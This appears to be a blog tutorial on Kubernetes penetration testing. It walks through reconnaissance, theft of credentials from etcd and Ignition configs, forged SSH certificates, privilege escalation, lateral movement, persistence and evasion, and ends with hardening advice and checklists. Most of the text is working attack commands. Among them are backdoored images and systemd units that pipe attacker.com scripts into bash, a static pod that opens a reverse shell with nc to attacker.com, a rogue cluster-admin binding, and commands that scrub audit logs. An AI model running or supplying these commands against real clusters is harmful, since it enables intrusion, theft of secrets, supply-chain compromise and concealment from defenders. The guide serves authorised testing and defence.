Kubernetes Penetration Testing: Complete 2026 Guide
Updated on January 21, 2026
Table of Contents
Introduction: The Modern Kubernetes Attack Surface (2026)
Kubernetes security has evolved dramatically since 2022. While traditional pentesting relied on open ports and default configurations, modern attacks now target:
- Supply chain compromise through container registries
- Ignition/cloud-init configurations exposed during bootstrap
- Embedded service account tokens in recovery scripts
- SSH certificate authority keys for authentication bypass
- Privileged pod escape through mount namespace manipulation
This comprehensive guide covers both the foundational techniques and the 2026 attack patterns discovered through real-world penetration testing.

Part 1: Reconnaissance - Mapping the Kubernetes Attack Surface
1.1 Network Scanning & Service Discovery
Before attempting any active exploitation, establish what Kubernetes services are running and accessible.
Target Ports & Services:
| Port | Service | Priority | Notes |
|---|---|---|---|
| 6443 | API Server | CRITICAL | Main control plane interface |
| 2379-2380 | etcd | CRITICAL | Cluster state & secrets database |
| 10250 | Kubelet API | HIGH | Node operations & pod exec |
| 30000-32767 | NodePorts | HIGH | Direct application access (Bypasses Ingress) |
| 10255 | Kubelet Read-Only | MEDIUM | Legacy read-only API (No Auth) |
| 10259 | Kube-Scheduler | MEDIUM | Scheduling decisions |
| 10257 | Kube-Controller-Manager | MEDIUM | Resource management |
| 22623 | Machine Config Server (MCS) | HIGH | NEW 2026: Node configurations, ignition configs |
| 443 | HTTPS Ingress | MEDIUM | Application entry points |
| 2181 | Zookeeper (if present) | MEDIUM | Distributed coordination |
Scanning Commands:
# Network discovery
nmap -sV -p 2379,2380,6443,10250,10257,10259,22623,30000-32767 10.0.0.0/24
# Kubernetes-specific scanning
./kube-hunter --cidr 10.0.0.0/24 --active
# Version fingerprinting
curl -k https://10.10.10.10:6443/version
curl -k https://10.10.10.10:6443/healthz
curl -k https://10.10.10.10:6443/.well-known/openid-configuration
1.2 Machine Config Server (MCS) - NEW 2026 Attack Vector
The Machine Config Server (port 22623) serves Ignition configurations that bootstrap nodes. This is often world-accessible and contains critical secrets.
Reconnaissance:
# Enumerate MCS endpoint
curl -kL https://10.10.10.10:22623/config/master
curl -kL https://10.10.10.10:22623/config/worker
# Extract and parse Ignition config (JSON)
# The response contains base64-encoded Ignition data
# Look for common secret locations in response:
# - /var/lib/kubelet/config.json (registry credentials)
# - /etc/kubernetes/kubelet.conf (kubelet config)
# - /usr/local/bin/recover-kubeconfig.sh (JWT tokens)
# - /etc/ssh/ca.pub (SSH CA keys)
1.3 Kubernetes API Server Endpoint Discovery
During reconnaissance, discover internal vs. external API endpoints:
# From Ignition config or exposed env files:
# KUBERNETESSERVICEHOST=api-int.cluster-name.example.com
# KUBERNETESSERVICEPORT=6443
# This reveals internal API that may bypass external load balancers
# Useful for DDoS, rate-limit bypass, or direct targeting
nmap -p 6443 api-int.cluster-name.example.com
1.4 Etcd Direct Access (Critical)
If etcd is accessible without authentication, full cluster compromise is achieved.
# Download etcdctl if not available
wget https://github.com/etcd-io/etcd/releases/download/v3.5.0/etcd-v3.5.0-linux-amd64.tar.gz
# Connect to etcd
etcdctl --endpoints=http://10.10.10.10:2379 member list
etcdctl --endpoints=http://10.10.10.10:2379 get / --prefix --keys-only
# Extract all secrets (they're stored in etcd!)
etcdctl --endpoints=http://10.10.10.10:2379 get /registry/secrets/ --prefix
# Get cluster configuration
etcdctl --endpoints=http://10.10.10.10:2379 get /registry/clusterrolebindings/ --prefix
1.5 NodePort & Sidecar Enumeration
Attackers often overlook the NodePort range (30000-32767), which exposes internal services directly on the node's IP, bypassing Ingress protections. Additionally, legacy read-only ports and monitoring tools can leak cluster topology.
# NodePort Range Scanning (Detects apps exposed directly on nodes)
nmap -sV -p 30000-32767 10.10.10.10
# Kubelet Read-Only Port (10255) - Dumps full pod specs without auth
# (Rare in modern clusters but critical if present)
curl -s http://10.10.10.10:10255/pods | jq .items[].metadata.name
# Common Monitoring & Sidecar Ports
# 9090 (Prometheus), 3000 (Grafana), 10256 (Kube-proxy health)
nmap -p 9090,3000,10256 10.10.10.10
Part 2: Initial Access & Credential Extraction
2.1 Extracting Credentials from Ignition Configurations
[NEW 2026 TECHNIQUE] Ignition files exposed via MCS contain multiple credential types.
2.1.1 Container Registry Credentials
Many Kubernetes clusters use private registries (Artifactory, Quay, ECR). These credentials are stored in /var/lib/kubelet/config.json.
Extraction Process:
# Step 1: Download Ignition config from MCS
curl -kL https://10.10.10.10:22623/config/worker > ignition.json
# Step 2: Extract registry credentials section
jq '.storage.files[] | select(.path | contains("config.json")) | .contents' ignition.json
# Step 3: Find dockerconfigjson auth section
# Look for "auths" containing base64-encoded credentials
# Example structure in response:
# "auths": {
# "registry.example.com": {
# "auth": "dXNlcm5hbWU6cGFzc3dvcmQ="
# }
# }
# Step 4: Decode base64
echo "dXNlcm5hbWU6cGFzc3dvcmQ=" | base64 -d
# Output: registry-user:registry-password
# Step 5: Authenticate to registry
docker login registry.example.com -u registry-user -p registry-password
# Step 6: Enumerate & pull images
docker search registry.example.com/
docker pull registry.example.com/internal/app:latest
Impact:
- Access to proprietary container images
- Source code extraction from image layers
- Embedded secrets in container environments
- Supply chain compromise capability
Tools for Image Analysis:
# Extract filesystem from image
docker save registry.example.com/internal/app:latest | tar xv
# Analyze image layers
skopeo inspect docker://registry.example.com/internal/app:latest
# Extract secrets from image metadata
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
aquasec/trivy image registry.example.com/internal/app:latest
2.1.2 Service Account Tokens from Recovery Scripts
Kubernetes clusters include recovery/troubleshooting scripts that contain service account tokens for cluster operations.
Token Extraction:
# Step 1: Extract recovery script from Ignition
jq '.storage.files[] | select(.path | contains("recover-kubeconfig")) | .contents' ignition.json
# Step 2: The script may contain:
# - Embedded JWT tokens
# - Certificate authority data
# - Service account information
# Example from typical recovery script:
# token=$(oc get secret -n openshift-machine-config-operator \
# node-bootstrapper-token -o jsonpath='{.data.token}' | base64 --decode)
# Step 3: If token is directly embedded (sometimes found in older configs):
TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1In0.eyJleHAiOjE3MzA0ODAwMDAsImlhdCI6MTczMDA0ODAwMH0..."
# Step 4: Validate token against API server
curl -k -H "Authorization: Bearer $TOKEN" \
https://10.10.10.10:6443/api/v1/namespaces
Token Capabilities Assessment:
# Decode JWT payload (without verification)
echo $TOKEN | cut -d'.' -f2 | base64 -d | jq .
# Output typically contains:
# {
# "iss": "kubernetes/serviceaccount",
# "kubernetes.io/serviceaccount/namespace": "openshift-machine-config-operator",
# "kubernetes.io/serviceaccount/secret.name": "node-bootstrapper-token",
# "kubernetes.io/serviceaccount/service-account.name": "node-bootstrapper",
# "sub": "system:serviceaccount:openshift-machine-config-operator:node-bootstrapper"
# }
# Key insight: The service account identity determines permissions
# Look for privileged service accounts:
# - system:node:* (node operations)
# - system:masters (cluster admin)
# - system:ovn-node:* (network operations)
2.1.3 SSH Certificate Authority Keys
[NEW 2026 TECHNIQUE] SSH CA public keys are often embedded in node configurations, enabling authentication bypass if private key is compromised.
Extraction:
# Step 1: Extract SSH CA key from Ignition
jq '.storage.files[] | select(.path | contains("ca.pub")) | .contents' ignition.json
# Step 2: Decode if base64-encoded
# Response typically: ssh-rsa AAAAB3NzaC1yc2E... (CA public key)
# Step 3: Identify SSH principal configuration
jq '.storage.files[] | select(.path | contains("auth_principals")) | .contents' ignition.json
# Step 4: Find sshd configuration changes
jq '.storage.files[] | select(.path | contains("sshd_config")) | .contents' ignition.json
# Look for:
# TrustedUserCAKeys /etc/ssh/ca.pub
# AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u
Exploitation (if CA private key is obtained):
# With CA private key (from separate compromise):
# Step 1: Create malicious SSH key pair
ssh-keygen -t rsa -f /tmp/backdoor_key -N ""
# Step 2: Sign certificate for root user with 1-year validity
ssh-keygen -s /tmp/ca_private_key \
-I "system-admin" \
-n "root,ubuntu,admin" \
-V "-1d:+365d" \
/tmp/backdoor_key.pub
# Step 3: SSH to any cluster node
ssh -i /tmp/backdoor_key root@master1.cluster.example.com
ssh -i /tmp/backdoor_key root@worker1.cluster.example.com
ssh -i /tmp/backdoor_key root@worker99.cluster.example.com # Works on ALL nodes!
# Step 4: Node compromise achieved - install persistence
# - Add backdoor users
# - Modify kubelet configuration
# - Access kubelet's TLS keys
# - Compromise container images pulled by node
Part 3: Cluster Enumeration & Permission Mapping
3.1 API Server Enumeration with Extracted Tokens
Once you have a valid JWT token, enumerate cluster structure and permissions.
Basic Enumeration:
export TOKEN="<extracted-jwt-token>"
export API="https://10.10.10.10:6443"
# List all nodes
curl -k -H "Authorization: Bearer $TOKEN" \
$API/api/v1/nodes | jq '.items[].metadata.name'
# List all namespaces
curl -k -H "Authorization: Bearer $TOKEN" \
$API/api/v1/namespaces | jq '.items[].metadata.name'
# List running pods across all namespaces
curl -k -H "Authorization: Bearer $TOKEN" \
$API/api/v1/pods | jq '.items[] | {name: .metadata.name, namespace: .metadata.namespace, image: .spec.containers[0].image}'
# Identify privileged pods
curl -k -H "Authorization: Bearer $TOKEN" \
$API/api/v1/pods | jq '.items[] | select(.spec.securityContext.privileged==true)'
3.2 Permission Enumeration (RBAC Analysis)
Determine what your token can actually do:
# Test create capabilities
curl -k -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
$API/api/v1/namespaces/default/pods \
-d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"test"}}'
# Test get/list capabilities
curl -k -H "Authorization: Bearer $TOKEN" \
$API/api/v1/namespaces/default/pods
# Use kubectl if available
kubectl --token=$TOKEN --insecure-skip-tls-verify=true get pods -n default
kubectl --token=$TOKEN --insecure-skip-tls-verify=true auth can-i create pods --namespace default
kubectl --token=$TOKEN --insecure-skip-tls-verify=true auth can-i get secrets --all-namespaces
3.3 Kubelet API Enumeration
The Kubelet API on port 10250 often allows anonymous or token-based access.
# List pods on specific node
curl -kL https://10.10.10.10:10250/pods
# List container logs
curl -kL https://10.10.10.10:10250/logs
# Check kubelet metrics
curl -kL https://10.10.10.10:10250/metrics
# Execute commands in pods (if allowed)
curl -skv -X POST \
-H "X-Stream-Protocol-Version: v2.channel.k8s.io" \
https://10.10.10.10:10250/exec/<namespace>/<pod>/<container>?command=id&input=1&output=1&tty=1
Part 4: Privilege Escalation Techniques
4.1 Certificate Signing Request (CSR) Abuse
[NEW 2026 TECHNIQUE] Service account tokens can sometimes request node certificates via CSR API, though auto-approval may fail due to identity mismatch.
CSR Attack Scenario:
# Step 1: Create CSR manifest
cat > node-csr.yaml <<EOF
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
name: new-node-cert
spec:
request: $(openssl req -new -key /tmp/node.key -subj "/CN=system:node:attacker-node" | base64 -w0)
signerName: kubernetes.io/kubelet-serving
usages:
- digital signature
- key encipherment
- server auth
EOF
# Step 2: Submit CSR using token
curl -k -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
$API/apis/certificates.k8s.io/v1/certificatesigningrequests \
--data-binary @node-csr.json
# Step 3: Monitor for approval
# Note: Auto-approval may fail if account identity doesn't match
# system:node:* or system:ovn-node:* pattern
# However, CSR creation itself can:
# - Generate audit logs for detection evasion analysis
# - Trigger alerting systems
# - Consume API rate limits
4.2 Privileged Pod Exploitation
Privileged pods with mounted host filesystems are critical escalation paths.
Identification:
# Find privileged pods
curl -k -H "Authorization: Bearer $TOKEN" \
$API/api/v1/pods | jq '.items[] | select(.spec.securityContext.privileged==true) | {name: .metadata.name, namespace: .metadata.namespace}'
# Find pods with host filesystem mount
curl -k -H "Authorization: Bearer $TOKEN" \
$API/api/v1/pods | jq '.items[] | select(.spec.volumes[]?.hostPath!=null)'
# Find pods with dangerous volume mounts
curl -k -H "Authorization: Bearer $TOKEN" \
$API/api/v1/pods | jq '.items[] | select(.spec.volumes[]?.hostPath.path=="/var/lib/kubelet")'
Exploitation (Post-Container-Compromise):
# If you compromise a privileged pod container, access host:
# Step 1: Escape container and access host filesystem
# The pod mounts host at /var/lib/kubelet (example)
# Step 2: Read kubelet's private key
cat /var/lib/kubelet/pki/kubelet-server-current.pem
# Step 3: Impersonate kubelet to API server
# Use kubelet cert to make authenticated requests
# Step 4: Modify node kubelet configuration
vi /var/lib/kubelet/kubeconfig.conf
# Step 5: Read all node secrets and configurations
cat /etc/kubernetes/kubelet.conf
ls -la /var/lib/kubelet/
# Step 6: Install persistence
# Add backdoor systemd units
# Modify cgroup hierarchy
# Inject malicious CNI plugins
4.3 Container Registry Credential Exploitation
[NEW 2026 TECHNIQUE] Pull and analyze container images containing embedded secrets.
# Step 1: Use extracted registry credentials to pull images
docker login registry.example.com -u app-user -p app-password
# Step 2: Analyze image layers for secrets
docker inspect registry.example.com/internal/api-service:latest
# Step 3: Look for embedded environment variables
docker run --rm registry.example.com/internal/api-service:latest env | grep -i secret
# Step 4: Extract image filesystem
docker save registry.example.com/internal/api-service:latest | tar xv
# Step 5: Search for secrets in extracted files
find . -type f -name "*.conf" -o -name "*.env" -o -name "config.json" | xargs grep -l "password\|secret\|key\|token"
# Step 6: Analyze application code for hardcoded credentials
strings ./app-binary | grep -E "password|secret|bearer" | head -20
# Step 7: Extract database credentials from app config
grep -r "DATABASE_URL\|DB_PASS\|MONGODB_URI" ./
Part 5: Lateral Movement & Supply Chain Attacks
5.1 Node-to-Node Lateral Movement via SSH
Once you have SSH access to one node (via SSH cert or compromised kubelet), move laterally.
# From compromised node:
# Step 1: Enumerate other nodes
kubectl get nodes -o wide
# Step 2: Add your SSH public key to other nodes
# If SSH CA is compromised, sign certs for each node
for node in node1 node2 node3; do
ssh-keygen -s /tmp/ca_private_key \
-I "lateral-$node" \
-n "root" \
-V "-1d:+365d" \
/tmp/backdoor_key.pub
ssh -i /tmp/backdoor_key root@$node.cluster.example.com \
"echo $BACKDOOR_PUBKEY >> /root/.ssh/authorized_keys"
done
# Step 3: Access kubelet on each node
ssh -i /tmp/backdoor_key root@worker1.cluster.example.com
curl localhost:10250/pods
# Step 4: Extract kubelet credentials from each node
cat /var/lib/kubelet/kubeconfig
cat /etc/kubernetes/kubelet.conf
5.2 Pod-to-Pod Lateral Movement via Network Policies (or Lack Thereof)
If network policies aren't enforced, move between pods.
# From compromised pod:
# Step 1: Scan network
for ip in 10.0.0.{1..254}; do
timeout 1 bash -c "</dev/tcp/$ip/443" 2>/dev/null && echo $ip is up
done
# Step 2: Identify Kubernetes services
nslookup kubernetes.default.svc.cluster.local
nslookup *.default.svc.cluster.local
# Step 3: Target API server from pod
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://kubernetes.default.svc.cluster.local/api/v1/pods
# Step 4: Breach database pod
# Identify database services
nslookup postgres.database.svc.cluster.local
psql -h postgres.database.svc.cluster.local -U postgres -d app_db
# Step 5: Identify and access secrets
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://kubernetes.default.svc.cluster.local/api/v1/namespaces/database/secrets
5.3 Supply Chain Compromise via Artifactory/Registry
Once you have registry credentials, inject malicious images.
# Step 1: Build malicious image
cat > Dockerfile <<EOF
FROM registry.example.com/internal/base-app:latest
RUN apt-get update && apt-get install -y curl
RUN curl http://attacker.com/backdoor.sh | bash
EOF
docker build -t registry.example.com/internal/api-service:compromised .
# Step 2: Push to registry (if permissions allow)
docker login registry.example.com -u registry-user -p registry-password
docker push registry.example.com/internal/api-service:compromised
# Step 3: Wait for deployment rollout
# Every time cluster deploys api-service, it pulls malicious image
# Step 4: Establish backdoor in every pod instance
# Persistence across entire cluster achieved
5.4 Machine Config Server (MCS) Poisoning
[NEW 2026 TECHNIQUE] If MCS is compromised or misconfigured, inject malicious node configurations.
# Step 1: Identify MCS endpoint
# From reconnaissance: api-int.cluster.example.com:22623
# Step 2: Serve malicious Ignition config
# MCS serves configurations, if accessible for modification:
# Step 3: Inject commands into system unit files
# Example malicious unit in Ignition response:
cat > malicious-ignition.json <<EOF
{
"systemd": {
"units": [
{
"name": "backdoor.service",
"enabled": true,
"contents": "[Unit]\\nAfter=network.service\\n[Service]\\nType=oneshot\\nExecStart=/bin/bash -c 'curl http://attacker.com/stage2.sh | bash'\\n[Install]\\nWantedBy=multi-user.target"
}
]
}
}
EOF
# Step 4: Every new node pulled from MCS would execute backdoor
Part 6: Post-Exploitation & Persistence
6.1 Kubelet Private Key Extraction & Impersonation
Once you have node access via SSH or privileged pod:
# Step 1: Extract kubelet client certificate
cat /var/lib/kubelet/pki/kubelet-client-current.pem
# Step 2: Extract kubelet client key
cat /var/lib/kubelet/pki/kubelet-client-current-key.pem
# Step 3: Extract CA certificate
cat /etc/kubernetes/ca.crt
# Step 4: Make authenticated requests as kubelet
curl -k \
--cert /var/lib/kubelet/pki/kubelet-client-current.pem \
--key /var/lib/kubelet/pki/kubelet-client-current-key.pem \
--cacert /etc/kubernetes/ca.crt \
https://api-int.cluster.example.com:6443/api/v1/nodes/$(hostname)
# Step 5: Impersonate kubelet in API requests
# Kubelet has permission to modify its own node status
# Can drain node, add taints, modify labels
# Step 6: Create backdoor pods on this node
# Kubelet accepts pod manifests from /etc/kubernetes/manifests
cat > /etc/kubernetes/manifests/backdoor-pod.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
name: persistent-shell
namespace: kube-system
spec:
hostNetwork: true
hostPID: true
serviceAccountName: default
containers:
- name: shell
image: alpine
command: ["/bin/sh", "-c", "while true; do nc -e /bin/sh attacker.com 4444; sleep 3600; done"]
securityContext:
privileged: true
EOF
6.2 API Server Token Persistence
Create long-lived service accounts for persistence:
# Step 1: Create service account in hidden namespace
kubectl create namespace persistence-ns
kubectl create serviceaccount attacker -n persistence-ns
# Step 2: Create ClusterRoleBinding for full cluster access
cat > persistence-binding.yaml <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: attacker-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: attacker
namespace: persistence-ns
EOF
kubectl apply -f persistence-binding.yaml
# Step 3: Extract token for long-term use
kubectl get secret $(kubectl get secret -n persistence-ns | grep attacker-token | awk '{print $1}') \
-n persistence-ns -o jsonpath='{.data.token}' | base64 -d
# Step 4: Token persists even if original access method is revoked
6.3 Etcd Snapshot Backdoor
If you have etcd access, create snapshots with backdoor data:
# Step 1: Take etcd snapshot
etcdctl --endpoints=https://10.10.10.10:2379 \
--cert=/var/lib/etcd/server.crt \
--key=/var/lib/etcd/server.key \
snapshot save /tmp/etcd-backup.db
# Step 2: Modify snapshot to include backdoor service account
# This is advanced but possible with etcd tools
# Step 3: Restore modified snapshot on recovery
# When cluster is rebuilt from snapshot, backdoor is present
Part 7: Detection Evasion & Stealth
7.1 API Audit Log Evasion
Kubernetes logs API requests. Minimize footprint:
# Step 1: Identify audit log location
# Typically in /var/log/audit/kube-apiserver-audit.log
# Step 2: Once root on node, sanitize logs
grep -v "attacker\|backdoor\|malicious" /var/log/audit/kube-apiserver-audit.log > /tmp/cleaned.log
cp /tmp/cleaned.log /var/log/audit/kube-apiserver-audit.log
# Step 3: Use legitimate APIs that blend in
# E.g., query pods (normal operation) instead of creating resources
# Step 4: Time operations during peak usage
# Your requests blend with legitimate traffic
7.2 Network Policy Evasion
If network policies exist, route through legitimate pods:
# Step 1: Identify allowed egress from compromised pod
kubectl describe networkpolicies -n production
# Step 2: If certain pods have external egress, compromise those
# Then use them as proxy for C2
# Step 3: Use DNS tunneling to avoid HTTP/HTTPS blocking
# DNS queries often allowed
nslookup c2-command.attacker.com
# Response encoded in DNS answer
7.3 Image Pull Secret Manipulation
Hide backdoor image pulls:
# Step 1: Inject attacker's registry credentials into cluster
kubectl create secret docker-registry attacker-registry \
--docker-server=private.attacker.com \
--docker-username=attacker \
--docker-password=password \
-n kube-system
# Step 2: Reference in pod specs
# Pods pull backdoor images from attacker's registry instead of public registries
# Step 3: Difficult to detect without registry access
Part 8: Remediation & Defense
8.1 Immediate Actions
# 1. Rotate all exposed credentials
# - Artifactory credentials
# - Service account tokens
# - SSH keys
# 2. Revoke compromised certificates
kubectl delete certificatesigningrequest <csr-name>
# 3. Block Machine Config Server access
# - Restrict port 22623 to authorized clients only
# - Implement mutual TLS
# 4. Audit Ignition configurations
# - Remove hardcoded secrets
# - Use sealed-secrets or external-secrets operator
# 5. Review SSH configuration
# - Invalidate exposed CA keys
# - Implement key rotation
8.2 Short-Term Hardening
# 1. Implement Pod Security Standards
kubectl label namespace default \
pod-security.kubernetes.io/enforce=restricted
# 2. Enable network policies
cat > deny-all.yaml <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
EOF
# 3. Implement RBAC restrictions
# Remove cluster-admin from unnecessary accounts
kubectl delete clusterrolebinding <name>
# 4. Enable image signature verification
# Implement Sigstore, Notary, or registry native signing
# 5. Audit container registries
# Review image pull logs for unauthorized images
8.3 Long-Term Strategic Improvements
# 1. Secrets management integration
# - Use Hashicorp Vault
# - AWS Secrets Manager integration
# - Sealed Secrets for Kubernetes
# 2. Configuration scanning in CI/CD
# - Scan Ignition configs for secrets
# - Implement OPA/Kyverno policies
# - Prevent MCS server exposure
# 3. Kubelet hardening
# - Disable anonymous authentication
# - Implement kubeconfig authentication only
# - Use webhook authorization
# 4. Audit logging
# - Enable comprehensive API audit logging
# - Ship logs to SIEM (Splunk, ELK, etc.)
# - Set alerts for privilege escalation attempts
# 5. Regular penetration testing
# - Conduct annual K8s pentest
# - Test MCS endpoint security
# - Validate secret rotation
# 6. Supply chain security
# - Implement image signing
# - Use admission controllers (OPA, Kyverno)
# - Scan images for vulnerabilities (Trivy, Snyk)
Key Takeaways: The 2026 Kubernetes Attack Landscape
- Machine Config Server is a Critical Attack Vector - Often overlooked, MCS exposes bootstrap configurations containing multiple credential types
- Ignition Configurations Contain Multiple Secret Types - Not just API tokens, but registry credentials, SSH keys, and recovery scripts
- Supply Chain is Increasingly Targeted - Container registry credentials enable sophisticated multi-stage attacks
- Lateral Movement is Straightforward - SSH CA key exposure enables node-to-node movement; network policies rarely enforced
- Privilege Escalation Chains Exist - Token enumeration → privileged pod discovery → kubelet key extraction → full node compromise
- Detection is Feasible - API audit logs, image pull logs, and network policies provide multiple detection opportunities
Tools & Resources
Kubernetes Penetration Testing Tools:
- kube-hunter (automated discovery)
- kubectl (primary interaction tool)
- etcdctl (direct etcd access)
- skopeo/docker (image analysis)
- kubeseal (secret encryption)
For a comprehensive list of tools, explore our cheatsheet on Active Directory - Lateral Movement
Conclusion
Kubernetes penetration testing has evolved significantly. Modern attacks target not just runtime Kubernetes, but the entire bootstrap and supply chain infrastructure. Organizations must implement defense-in-depth covering:
- Bootstrap security (MCS hardening, Ignition scanning)
- Secrets management (external vault, sealed secrets)
- Network segmentation (network policies, service mesh)
- Supply chain (image signing, registry security)
- Runtime monitoring (audit logs, runtime security agents)
This comprehensive guide provides both offensive and defensive perspectives for security professionals. Use these techniques ethically in authorized penetration testing engagements.
Appendix: Quick Reference Checklists
Penetration Testing Checklist
- Scan all Kubernetes ports (6443, 2379, 10250, 22623)
- Download and analyze Ignition configs from MCS
- Extract registry credentials from ignition
- Attempt token extraction from recovery scripts
- Test token against API server
- Enumerate nodes, namespaces, pods
- Identify privileged pods
- Analyze SSH configuration
- Test CSR submission
- Attempt pod exec
- Check etcd accessibility
- Test container registry access with extracted creds
- Analyze container images for embedded secrets
- Perform lateral movement testing
- Document all findings with proof-of-concept code
Blue Team Hardening Checklist
- Implement MCS access controls
- Rotate all exposed credentials
- Enable pod security standards
- Implement network policies
- Audit and restrict RBAC
- Encrypt secrets at rest
- Enable API audit logging
- Implement image signature verification
- Use external secrets manager
- Regular vulnerability scanning
- Runtime security monitoring (Falco)
- Regular penetration testing
- Incident response plan
- Supply chain security program
This article covers authorized penetration testing only. Unauthorized access to computer systems is illegal. Always obtain written authorization before testing.
For more insights, refer to the Official Kubernetes Documentation and the MITRE ATT&CK for Cloud matrix.
Enjoyed this guide? Share your thoughts below and tell us how you leverage Kubernetes Penetration Testing in your projects!

No comments:
Post a Comment